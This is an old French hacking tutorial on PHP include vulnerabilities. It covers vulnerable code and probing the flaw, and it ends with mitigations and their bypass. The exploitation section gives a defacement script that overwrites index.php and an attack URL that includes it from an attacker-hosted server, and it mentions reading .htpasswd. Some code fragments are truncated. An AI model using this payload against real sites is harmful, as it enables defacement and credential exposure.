_________________________________________________________________________________________________________
------/~~~~~~~~~~~~~~~~~~~\
---------=< |-
Include Vulnerability-|
>=--
------\~~~~~~~~~~~~~~~~~~~~/
SOMMAIRE :
I. Inclusion d'une autre page.
II. Inclusion de variables.
III. Exploitation.
IV. Sécurité
_ 1) Contrôle de la
variable.
La faille dite d'include est tres courante sur les sites php. L'include sert
principalement à inclure une page dans une autre pour faciliter les mises
à jour par exemple ou encore plus fréquament à inclure
des variables provenants d'un fichier de configuration.
I. Inclusion d'une autre page.
<?
include($page); ?> |
Dans un code html :
<html>
<body>
|
II. nclusion de variables
<?
<?
if($good1==$login
& $good2==$pass) |
NB : la fonction include()
est quasiment identique à require()
Voilà pour les principales utilisations de l'include
en php.
Si l'utilisateur se limite au donnés transmises grace à ces includes
sans les modifier, il n'y a aucun problème. Mais s'il les modifient (Par
exemple: http://www.lesite.com/page.php?page=.htpsswrd)
il a accés à un grand nombre d'informations et peut par la meme
occasion défacer le site.
Pour trouver la faille il suffit d'essayer d'inclure une URL : http://www.lesite.com/page.php?page=http://www.google.com.
Si on arrive sur une erreur 404, c'est que la faille semble
être protégée. Si au contraire la page d'acceuil de google
est include dans la page du site c'est qu'elle est présente !
III. Exploitation
Imaginons que le test précédent ai fonctionné et que google s'est affiché au beau milieu de la page du site. Le pirate va uploder sur un compte web perso un script du type :
<?
//-------------Hack.php-------------- $fp=fopen("index.php", w); $msg="Le message qu'il veut mettre en en tete du site"; fwrite($fp,$msg); fclose($fp); ?> |
Il va ensuite "l'inclure" dans le site à défacer : http://www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php
Normalement, si tout c'est bien passé, le message devrait être inscrit sur la page d'acceuil du site. Naturellement il est tout à fait possible d'y mettre du html...
IV. Sécurité
Il ne faut pas oublier d'aller vérifier dans le fichier php.ini
que allow_url_fopen soit sur off pour empecher
l''inclusion de données externes.
En premier , rappelons la syntaxe de la fonction include dans le script : (cas des pseudos frames)
<?
$fp=fopen("la page.php", w); if(file_exists($page)) //si la variable($) page existe { include($page); //alors on l'inclue } else { include ("404.php"); // on inclue une page d'erreur. } ?> |
Donc une premiere methode de sécurisation
consiste à ajouter l'extention .php apres la variable d'include tel que
$page = $page..php;
Donc en reprenant l'example plus haut : www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php
Cette url conduira desormais à une erreure
404 vue que .php sera rajouté à la fin de l'URL ( ../hack.php.php
) .
Le problème , c'est que si on ecrit : www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack
.php sera encore rajouté à la fin de l'URL et cette fois çi , la page sera bien incluse !
Par contre cette securite , sans interdire totalement l'injection de code , empeche l'accés aux fichiers sensibles tel que .htaccess .htpasswd ...
1) Contrôle de la variable
<? default:
|
Sps6m3n
Copyright © 2003 ArenHack